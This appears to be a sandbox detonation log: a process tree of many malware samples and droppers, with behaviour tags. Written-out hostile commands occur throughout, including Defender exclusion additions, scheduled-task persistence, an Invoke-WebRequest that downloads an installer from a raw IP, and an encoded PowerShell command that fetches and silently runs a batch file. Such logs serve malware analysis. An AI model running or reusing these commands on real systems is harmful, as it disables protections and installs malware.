C:\Users\Admin\AppData\Local\Temp\a\WxWorkMultiOpen.exeWxWorkMultiOpen.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\WxWorkMultiOpen.exeWxWorkMultiOpen.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\WxWorkMultiOpen.exeWxWorkMultiOpen.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\hbvTmbP46IIEeHP1.exehbvTmbP46IIEeHP1.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\WxWorkMultiOpen.exeWxWorkMultiOpen.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\steamcmd.exesteamcmd.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\agent.exeagent.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\Installer.exeInstaller.exe3⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -ExecutionPolicy Bypass -File bsodlogicbomb.ps13⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Users\Admin\AppData\Local\Temp\Server.exeServer.exe3⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -ExecutionPolicy Bypass -File Invoke-Shellcode-fixed.ps13⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Users\Admin\AppData\Local\Temp\a\Prolin.exeProlin.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\namu832.exenamu832.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\keepon.exekeepon.exe3⤵
-
C:\Windows\System32\werfault.exe\??\C:\Windows\System32\werfault.exe4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\Phantom.exePhantom.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\Axam.a.exeAxam.a.exe3⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -ExecutionPolicy Bypass -File NewAmsiBypass.ps13⤵
- Command and Scripting Interpreter: PowerShell
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\iya3wwks\iya3wwks.cmdline"4⤵
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exeC:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESEB9C.tmp" "c:\Users\Admin\AppData\Local\Temp\iya3wwks\CSCDA9FA8B539D489BBC8EC895B48B12D9.TMP"5⤵
-
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -ExecutionPolicy Bypass -File meter5555.ps13⤵
- Command and Scripting Interpreter: PowerShell
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\j0eboosi\j0eboosi.cmdline"4⤵
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exeC:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESEEC9.tmp" "c:\Users\Admin\AppData\Local\Temp\j0eboosi\CSCCE1230B982F428B9971D3B9E1A47C7E.TMP"5⤵
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\Anap.a.exeAnap.a.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\win.exewin.exe3⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Add-MpPreference -ExclusionProcess 'powershell.exe'; Add-MpPreference -ExclusionProcess 'cmd.exe'; Add-MpPreference -ExclusionProcess 'svchost.exe'; Add-MpPreference -ExclusionProcess 'services.exe'; Add-MpPreference -ExclusionPath 'C:\Windows\System32'; Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Explorer'"4⤵
- Command and Scripting Interpreter: PowerShell
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\Client-built.exeClient-built.exe3⤵
-
-
C:\Windows\SYSTEM32\cmd.execmd.exe /c wp.bat3⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c FORFILES.EXE /P C:\Users\Admin\AppData\Local\Temp\a\ /M wp.bat /C "CMD /C ECHO. 0x1B[32m((,.,/((((((((((((((((((((/, */0x1B[97m"4⤵
- Indirect Command Execution
-
C:\Windows\system32\forfiles.exeFORFILES.EXE /P C:\Users\Admin\AppData\Local\Temp\a\ /M wp.bat /C "CMD /C ECHO. 0x1B[32m((,.,/((((((((((((((((((((/, */0x1B[97m"5⤵
- Indirect Command Execution
-
C:\Windows\system32\CMD.exe/C ECHO. [32m((,.,/((((((((((((((((((((/, */[97m6⤵
-
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c FORFILES.EXE /P C:\Users\Admin\AppData\Local\Temp\a\ /M wp.bat /C "CMD /C ECHO. 0x1B[32m,/*,..*(((((((((((((((((((((((((((((((((,0x1B[97m"4⤵
- Indirect Command Execution
-
C:\Windows\system32\forfiles.exeFORFILES.EXE /P C:\Users\Admin\AppData\Local\Temp\a\ /M wp.bat /C "CMD /C ECHO. 0x1B[32m,/*,..*(((((((((((((((((((((((((((((((((,0x1B[97m"5⤵
- Indirect Command Execution
-
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -ExecutionPolicy Bypass -File Masquerade-PEB.ps13⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Users\Admin\AppData\Local\Temp\a\WxWorkMultiOpen.exeWxWorkMultiOpen.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\Client.exeClient.exe3⤵
-
C:\Users\Admin\AppData\Roaming\XenoManager\Client.exe"C:\Users\Admin\AppData\Roaming\XenoManager\Client.exe"4⤵
-
C:\Windows\SysWOW64\schtasks.exe"schtasks.exe" /Create /TN "RuntimeBroker.exe" /XML "C:\Users\Admin\AppData\Local\Temp\tmp8172.tmp" /F5⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\123.exe123.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\LOIC.exeLOIC.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\MIse.exeMIse.exe3⤵
-
C:\Users\Admin\AppData\Local\Temp\a\123.exeC:\Users\Admin\AppData\Local\Temp\a/123.exe4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\Amus.exeAmus.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\RustMe.exeRustMe.exe3⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -ExecutionPolicy Bypass -File OneDoesNotSimplyBypassEntireWinDefender.ps13⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Users\Admin\AppData\Local\Temp\a\32.exe32.exe3⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -ExecutionPolicy Bypass -File PowerSyringe.ps13⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Users\Admin\AppData\Local\Temp\a\1.exe1.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\tomcat8.exetomcat8.exe3⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -ExecutionPolicy Bypass -File reverse.ps13⤵
- Command and Scripting Interpreter: PowerShell
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\2ei0sdoy\2ei0sdoy.cmdline"4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\%D0%A4%D0%BE%D1%80%D0%BC%D0%B0%203%D0%9E%D0%A8%D0%91%D0%A0.exe%D0%A4%D0%BE%D1%80%D0%BC%D0%B0%203%D0%9E%D0%A8%D0%91%D0%A0.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\CryptoWall.exeCryptoWall.exe3⤵
-
C:\Windows\SysWOW64\explorer.exe"C:\Windows\syswow64\explorer.exe"4⤵
-
C:\Windows\SysWOW64\svchost.exe-k netsvcs5⤵
-
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -ExecutionPolicy Bypass -File main.ps13⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -ExecutionPolicy Bypass -File UACBStartup.ps13⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Users\Admin\AppData\Local\Temp\a\BootstrapperNew.exeBootstrapperNew.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\Bugsoft.exeBugsoft.exe3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c c:\windows\jk.bat4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\BootstrapperNew.exeBootstrapperNew.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\CryptoLocker.exeCryptoLocker.exe3⤵
-
C:\Users\Admin\AppData\Roaming\{34184A33-0407-212E-3320-09040709E2C2}.exe"C:\Users\Admin\AppData\Roaming\{34184A33-0407-212E-3320-09040709E2C2}.exe" "/rC:\Users\Admin\AppData\Local\Temp\a\CryptoLocker.exe"4⤵
-
C:\Users\Admin\AppData\Roaming\{34184A33-0407-212E-3320-09040709E2C2}.exe"C:\Users\Admin\AppData\Roaming\{34184A33-0407-212E-3320-09040709E2C2}.exe" /w000002385⤵
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\Pinaview.exePinaview.exe3⤵
-
C:\Users\Admin\AppData\Local\Temp\is-EQL9Q.tmp\Pinaview.tmp"C:\Users\Admin\AppData\Local\Temp\is-EQL9Q.tmp\Pinaview.tmp" /SL5="$1147A,5716409,740352,C:\Users\Admin\AppData\Local\Temp\a\Pinaview.exe"4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\giftorder.exegiftorder.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\3R%BC%BC%CA%F5.exe3R%BC%BC%CA%F5.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\pvp.exepvp.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\svhost.exesvhost.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\second.exesecond.exe3⤵
-
-
C:\Windows\SYSTEM32\cmd.execmd.exe /c update0.bat3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\darts-gif.exedarts-gif.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\Darwin.exeDarwin.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\Vector-fixer-v1.4.2.exeVector-fixer-v1.4.2.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\chrome_134.exechrome_134.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\darts-wled.exedarts-wled.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\teleport-assist-windows.exeteleport-assist-windows.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\game.exegame.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\ui.exeui.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\gallery-dl.exegallery-dl.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\darts-pixelit.exedarts-pixelit.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\sm.exesm.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\q-AMD64-Windows.exeq-AMD64-Windows.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\GestionICC.exeGestionICC.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\file.exefile.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\UrbanVPN.exeUrbanVPN.exe3⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\2to1ep.exe"C:\Users\Admin\AppData\Local\Temp\2to1ep.exe"1⤵
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\2to1ep.exe"C:\Users\Admin\AppData\Local\Temp\2to1ep.exe"2⤵
- Loads dropped DLL
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "schtasks /Create /TN crypto_nuke_task /TR \"C:\Users\Admin\AppData\Local\Temp\2to1ep.exe\" /SC ONLOGON /RL HIGHEST /F"3⤵
-
C:\Windows\system32\schtasks.exeschtasks /Create /TN crypto_nuke_task /TR \"C:\Users\Admin\AppData\Local\Temp\2to1ep.exe\" /SC ONLOGON /RL HIGHEST /F4⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Windows\system32\cmd.execmd.exe /C start c:\Windows\System32\Taskmgr.exe3⤵
-
\??\c:\Windows\System32\Taskmgr.exec:\Windows\System32\Taskmgr.exe4⤵
-
-
-
C:\Windows\system32\a\q8348.exeq8348.exe3⤵
-
C:\Windows\SYSTEM32\schtasks.exe"schtasks" /create /tn "Google Chrome" /sc ONLOGON /tr "C:\Users\Admin\AppData\Roaming\Google\Chrome.exe" /rl HIGHEST /f4⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Windows\system32\a\UniversalBrowser.exeUniversalBrowser.exe3⤵
-
-
C:\Windows\system32\a\rustdesk-1.2.3-2-x86_64.exerustdesk-1.2.3-2-x86_64.exe3⤵
-
C:\Users\Admin\AppData\Local\rustdesk\rustdesk.exe"C:\Users\Admin\AppData\Local\rustdesk\.\rustdesk.exe"4⤵
-
C:\Windows\system32\icacls.exe"icacls" C:\ProgramData\RustDesk\shared_memory_portable_service /grant *S-1-1-0:(OI)(CI)F /T5⤵
- Modifies file permissions
-
-
C:\Users\Admin\AppData\Local\rustdesk\rustdesk.exe"C:\Users\Admin\AppData\Local\rustdesk\rustdesk.exe" --portable-service5⤵
-
C:\Users\Admin\AppData\Local\rustdesk\rustdesk.exe"C:\Users\Admin\AppData\Local\rustdesk\rustdesk.exe" --run-as-system6⤵
-
-
-
-
-
C:\Windows\system32\a\64th%20Services.exe64th%20Services.exe3⤵
-
-
C:\Windows\system32\a\free.exefree.exe3⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c cls4⤵
-
-
C:\ProgramData\Epic\EpicGamesLauncher\manifest.exe"C:\ProgramData\Epic\EpicGamesLauncher\manifest.exe"4⤵
-
-
C:\Windows\system32\a\free.exefree.exe4⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c cls5⤵
-
-
-
-
C:\Windows\system32\a\RankupServicecleaner.exeRankupServicecleaner.exe3⤵
-
-
C:\Windows\system32\a\%E7%BD%91%E6%98%93%E4%BA%91%E9%9F%B3%E4%B9%90.exe%E7%BD%91%E6%98%93%E4%BA%91%E9%9F%B3%E4%B9%90.exe3⤵
-
-
C:\Windows\system32\a\go.exego.exe3⤵
-
-
C:\Windows\system32\a\build1.exebuild1.exe3⤵
-
-
C:\Windows\system32\a\%E5%88%92%E5%AD%A6%E5%8F%B7V2--%E6%9E%81%E9%80%9F%E7%89%88.exe%E5%88%92%E5%AD%A6%E5%8F%B7V2--%E6%9E%81%E9%80%9F%E7%89%88.exe3⤵
-
C:\Windows\system32\a\%E5%88%92%E5%AD%A6%E5%8F%B7V2--%E6%9E%81%E9%80%9F%E7%89%88.exeC:\Windows\system32\a\%E5%88%92%E5%AD%A6%E5%8F%B7V2--%E6%9E%81%E9%80%9F%E7%89%88.exe4⤵
-
-
-
C:\Windows\system32\a\1117.exe1117.exe3⤵
-
-
C:\Windows\SYSTEM32\wscript.exewscript.exe Approved%20Document%23402.vbs3⤵
-
-
C:\Windows\SYSTEM32\msiexec.exemsiexec.exe /i Approved%20Document%23D53LU.msi3⤵
- Event Triggered Execution: Installer Packages
-
-
C:\Windows\system32\a\Qbix01.exeQbix01.exe3⤵
-
-
C:\Windows\system32\a\nk.exenk.exe3⤵
-
-
C:\Windows\system32\a\zx.exezx.exe3⤵
-
C:\Windows\system32\a\zx.exezx.exe4⤵
-
-
-
C:\Windows\SYSTEM32\cmd.execmd.exe /c tpol.bat3⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /K "C:\Windows\System32\a\tpol.bat" min4⤵
-
C:\Program Files\WindowsApps\Microsoft.DesktopAppInstaller_1.0.42251.0_x64__8wekyb3d8bbwe\AppInstallerPythonRedirector.exepython vi.py -p new.bin -k a.json5⤵
-
-
C:\Windows\system32\timeout.exetimeout /t 5 /nobreak5⤵
- Delays execution with timeout.exe
-
-
C:\Program Files\WindowsApps\Microsoft.DesktopAppInstaller_1.0.42251.0_x64__8wekyb3d8bbwe\AppInstallerPythonRedirector.exepython vae.py xe.bin x.txt5⤵
-
-
C:\Windows\system32\timeout.exetimeout /t 5 /nobreak5⤵
- Delays execution with timeout.exe
-
-
C:\Program Files\WindowsApps\Microsoft.DesktopAppInstaller_1.0.42251.0_x64__8wekyb3d8bbwe\AppInstallerPythonRedirector.exepython vi.py -p pul.bin -k p.json5⤵
-
-
-
-
C:\Windows\system32\a\buildx_x64.exebuildx_x64.exe3⤵
-
-
C:\Windows\system32\a\REF-CLI%20v1.0.3.exeREF-CLI%20v1.0.3.exe3⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "ver"4⤵
-
-
-
C:\Windows\system32\a\beacon.exebeacon.exe3⤵
-
-
C:\Windows\SYSTEM32\msiexec.exemsiexec.exe /i Re45766712.msi3⤵
- Event Triggered Execution: Installer Packages
-
-
C:\Windows\SYSTEM32\msiexec.exemsiexec.exe /i Approval3546.msi3⤵
- Event Triggered Execution: Installer Packages
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -ExecutionPolicy Bypass -File ENCRYPTED.ps13⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\SYSTEM32\msiexec.exemsiexec.exe /i Ref62535.msi3⤵
- Event Triggered Execution: Installer Packages
-
-
C:\Windows\system32\a\subprocess.exesubprocess.exe3⤵
-
-
C:\Windows\system32\a\subprocess_debug.exesubprocess_debug.exe3⤵
-
-
C:\Windows\system32\a\raw_subprocess.exeraw_subprocess.exe3⤵
-
-
C:\Windows\system32\a\raw_subprocess_debug.exeraw_subprocess_debug.exe3⤵
-
-
C:\Windows\system32\a\fscan32.exefscan32.exe3⤵
-
-
C:\Windows\system32\a\chrome_144.exechrome_144.exe3⤵
-
-
C:\Windows\SYSTEM32\msiexec.exemsiexec.exe /i MicrosoftTeamUpdate.msi3⤵
- Event Triggered Execution: Installer Packages
-
-
C:\Windows\SYSTEM32\msiexec.exemsiexec.exe /i scc.msi3⤵
- Event Triggered Execution: Installer Packages
-
-
C:\Windows\system32\a\Loader.exeLoader.exe3⤵
-
C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /query /tn "Windows Defender Security"4⤵
-
-
C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /create /sc minute /tn "Windows Defender Security" /tr "C:\Windows\system32\a\Loader.exe"4⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Windows\system32\a\NAMUVPN7.exeNAMUVPN7.exe3⤵
-
-
C:\Windows\system32\a\NAMUVPN7.exeNAMUVPN7.exe3⤵
-
-
C:\Windows\system32\a\namu864.exenamu864.exe3⤵
-
-
C:\Windows\system32\a\namuvpnxp.exenamuvpnxp.exe3⤵
-
-
C:\Windows\system32\a\namuvpnx2.exenamuvpnx2.exe3⤵
-
-
C:\Windows\system32\a\NAMUVPN7.exeNAMUVPN7.exe3⤵
-
-
C:\Windows\system32\a\NAMUVPN32.exeNAMUVPN32.exe3⤵
-
-
C:\Windows\system32\a\NAMUVPN32.exeNAMUVPN32.exe3⤵
-
-
C:\Windows\system32\a\namuvpnx2.exenamuvpnx2.exe3⤵
-
-
C:\Windows\SYSTEM32\msiexec.exemsiexec.exe /i Order2390.msi3⤵
- Event Triggered Execution: Installer Packages
-
-
C:\Windows\system32\a\build.exebuild.exe3⤵
-
-
C:\Windows\system32\a\Driver_EN_msc_AMD_v22.39.exeDriver_EN_msc_AMD_v22.39.exe3⤵
-
-
C:\Windows\system32\a\DebugView%2b%2b.exeDebugView%2b%2b.exe3⤵
-
-
C:\Windows\system32\a\DebugView%2b%2b.exeDebugView%2b%2b.exe3⤵
-
-
C:\Windows\system32\a\%E6%A2%A6%E5%B9%BB%E9%AD%94%E7%95%8C%E7%94%B5%E8%84%91%E7%AB%AF.exe%E6%A2%A6%E5%B9%BB%E9%AD%94%E7%95%8C%E7%94%B5%E8%84%91%E7%AB%AF.exe3⤵
-
C:\Users\Admin\AppData\Local\Temp\._cache_%E6%A2%A6%E5%B9%BB%E9%AD%94%E7%95%8C%E7%94%B5%E8%84%91%E7%AB%AF.exe"C:\Users\Admin\AppData\Local\Temp\._cache_%E6%A2%A6%E5%B9%BB%E9%AD%94%E7%95%8C%E7%94%B5%E8%84%91%E7%AB%AF.exe"4⤵
-
-
-
C:\Windows\system32\a\csrss.execsrss.exe3⤵
-
-
C:\Windows\system32\a\IMG001.exeIMG001.exe3⤵
-
-
C:\Windows\SYSTEM32\msiexec.exemsiexec.exe /i UVSODSAE.msi3⤵
- Event Triggered Execution: Installer Packages
-
-
C:\Windows\system32\a\ShellHost.exeShellHost.exe3⤵
-
C:\Windows\SYSTEM32\schtasks.exe"schtasks" /create /tn "RuntimeBroker" /sc ONLOGON /tr "C:\Users\Admin\AppData\Roaming\SubDir\updater.exe" /rl HIGHEST /f4⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Windows\SYSTEM32\msiexec.exemsiexec.exe /i cl.msi3⤵
- Event Triggered Execution: Installer Packages
-
-
C:\Windows\system32\a\%E6%A2%A6%E5%B9%BB%E9%AD%94%E7%95%8C%E7%94%B5%E8%84%91%E7%AB%AF.exe%E6%A2%A6%E5%B9%BB%E9%AD%94%E7%95%8C%E7%94%B5%E8%84%91%E7%AB%AF.exe3⤵
-
C:\Users\Admin\AppData\Local\Temp\._cache_%E6%A2%A6%E5%B9%BB%E9%AD%94%E7%95%8C%E7%94%B5%E8%84%91%E7%AB%AF.exe"C:\Users\Admin\AppData\Local\Temp\._cache_%E6%A2%A6%E5%B9%BB%E9%AD%94%E7%95%8C%E7%94%B5%E8%84%91%E7%AB%AF.exe"4⤵
-
C:\Users\Admin\AppData\Local\Temp\._cache_%E6%A2%A6%E5%B9%BB%E9%AD%94%E7%95%8C%E7%94%B5%E8%84%91%E7%AB%AF.exe"C:\Users\Admin\AppData\Local\Temp\._cache_%E6%A2%A6%E5%B9%BB%E9%AD%94%E7%95%8C%E7%94%B5%E8%84%91%E7%AB%AF.exe" Admin5⤵
-
-
-
-
C:\Windows\system32\a\%E6%83%85%E6%84%BF%E6%80%80%E6%97%A7.exe%E6%83%85%E6%84%BF%E6%80%80%E6%97%A7.exe3⤵
-
C:\Users\Admin\AppData\Local\Temp\._cache_%E6%83%85%E6%84%BF%E6%80%80%E6%97%A7.exe"C:\Users\Admin\AppData\Local\Temp\._cache_%E6%83%85%E6%84%BF%E6%80%80%E6%97%A7.exe"4⤵
-
-
-
C:\Windows\SYSTEM32\msiexec.exemsiexec.exe /i Lapce-windows.msi3⤵
- Event Triggered Execution: Installer Packages
-
-
C:\Windows\SYSTEM32\msiexec.exemsiexec.exe /i AUHAVKIQ.msi3⤵
- Event Triggered Execution: Installer Packages
-
-
C:\Windows\system32\a\PSBBmYYA.exePSBBmYYA.exe3⤵
-
-
C:\Windows\system32\a\c1i.exec1i.exe3⤵
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exeC:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\AppLaunch.exe4⤵
-
-
-
C:\Windows\system32\a\%e6%80%80%e6%97%a7%e8%af%9b%e4%bb%99.exe%e6%80%80%e6%97%a7%e8%af%9b%e4%bb%99.exe3⤵
-
-
C:\Windows\system32\a\cr.execr.exe3⤵
-
-
C:\Windows\SYSTEM32\wscript.exewscript.exe user_c.vbs3⤵
-
C:\Windows\System32\notepad.exe"C:\Windows\System32\notepad.exe" "C:\Users\Admin\AppData\Local\Temp\guide.txt"4⤵
- Opens file in notepad (likely ransom note)
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "Invoke-WebRequest -Uri 'http://8.217.152.225/Setup.msi' -OutFile 'C:\Users\Public\Setup.msi'"4⤵
- Command and Scripting Interpreter: PowerShell
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -ExecutionPolicy Bypass -File rs.ps13⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\system32\a\ClipAid-Pro.exeClipAid-Pro.exe3⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -ExecutionPolicy Bypass -File 4aa9fqc792.ps13⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\system32\a\Bexitor%20Installer.exeBexitor%20Installer.exe3⤵
-
-
C:\Windows\system32\a\Auo1.exeAuo1.exe3⤵
-
-
C:\Windows\system32\a\HorionInjector.exeHorionInjector.exe3⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -ExecutionPolicy Bypass -File stage1.ps13⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\system32\a\fo-wsftp605.exefo-wsftp605.exe3⤵
-
-
C:\Windows\system32\a\delfino-g3.exedelfino-g3.exe3⤵
-
-
C:\Windows\system32\a\v1d.exev1d.exe3⤵
-
-
C:\Windows\system32\a\better.exebetter.exe3⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c curl api.ezilax.com4⤵
-
C:\Windows\system32\curl.execurl api.ezilax.com5⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c cls4⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -NoProfile -Command "Get-WmiObject -Class Win32_ComputerSystemProduct | Select-Object -ExpandProperty UUID"4⤵
- Command and Scripting Interpreter: PowerShell
-
-
-
C:\Windows\system32\a\keepon.exekeepon.exe3⤵
-
C:\Windows\System32\werfault.exe\??\C:\Windows\System32\werfault.exe4⤵
-
-
-
C:\Windows\system32\a\1.exe1.exe3⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -ExecutionPolicy Bypass -File trapapO.ps13⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\SYSTEM32\cmd.execmd.exe /c DebugConfig.bat3⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -EncodedCommand YwB1AHIAbAAgAC0AcwAgAC0ATAAgAC0AbwAgACQAZQBuAHYAOgBUAEUATQBQAFwAcgBlAHMALgBiAGEAdAAgAGgAdAB0AHAAcwA6AC8ALwBnAGkAdABoAHUAYgAuAGMAbwBtAC8AZAAxAG8AdgB1AC8AcABvAG4ALwByAGEAdwAvAHIAZQBmAHMALwBoAGUAYQBkAHMALwBtAGEAaQBuAC8AcgBlAHMALgBiAGEAdAA7ACAAUwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgACIAJABlAG4AdgA6AFQARQBNAFAAXAByAGUAcwAuAGIAYQB0ACIAIAAtAFcAaQBuAGQAbwB3AFMAdAB5AGwAZQAgAEgAaQBkAGQAZQBuAA0ACgA=4⤵
-
-
-
C:\Windows\system32\a\RustMe.exeRustMe.exe3⤵
-
-
C:\Windows\system32\a\ZJQPPAJN.exeZJQPPAJN.exe3⤵
-
-
C:\Windows\system32\a\fastping_silent_v4.exefastping_silent_v4.exe3⤵
- System Network Configuration Discovery: Internet Connection Discovery
-
-
C:\Windows\system32\a\VC_redist.x64.exeVC_redist.x64.exe3⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -ExecutionPolicy Bypass -File networke.ps13⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\system32\a\tomcat8.exetomcat8.exe3⤵
-
-
C:\Windows\system32\a\Ytkjmt.exeYtkjmt.exe3⤵
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exeC:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\AppLaunch.exe4⤵
-
-
-
C:\Windows\system32\a\bsg.exebsg.exe3⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 20644 -s 4804⤵
- Program crash
-
-
-
C:\Windows\system32\a\mely.exemely.exe3⤵
-
-
C:\Windows\system32\a\haozip.100021.exehaozip.100021.exe3⤵
-
-
C:\Windows\system32\a\tlp.exetlp.exe3⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 25504 -s 1564⤵
- Program crash
-
-
-
C:\Windows\system32\a\lol11.exelol11.exe3⤵
-
-
C:\Windows\SYSTEM32\msiexec.exemsiexec.exe /i ScreenConnect.ClientSetup.msi3⤵
- Event Triggered Execution: Installer Packages
-
-
C:\Windows\system32\a\DowOnline.Installer.exeDowOnline.Installer.exe3⤵
-
-
C:\Windows\system32\a\TempSpoofer.exeTempSpoofer.exe3⤵
-
-
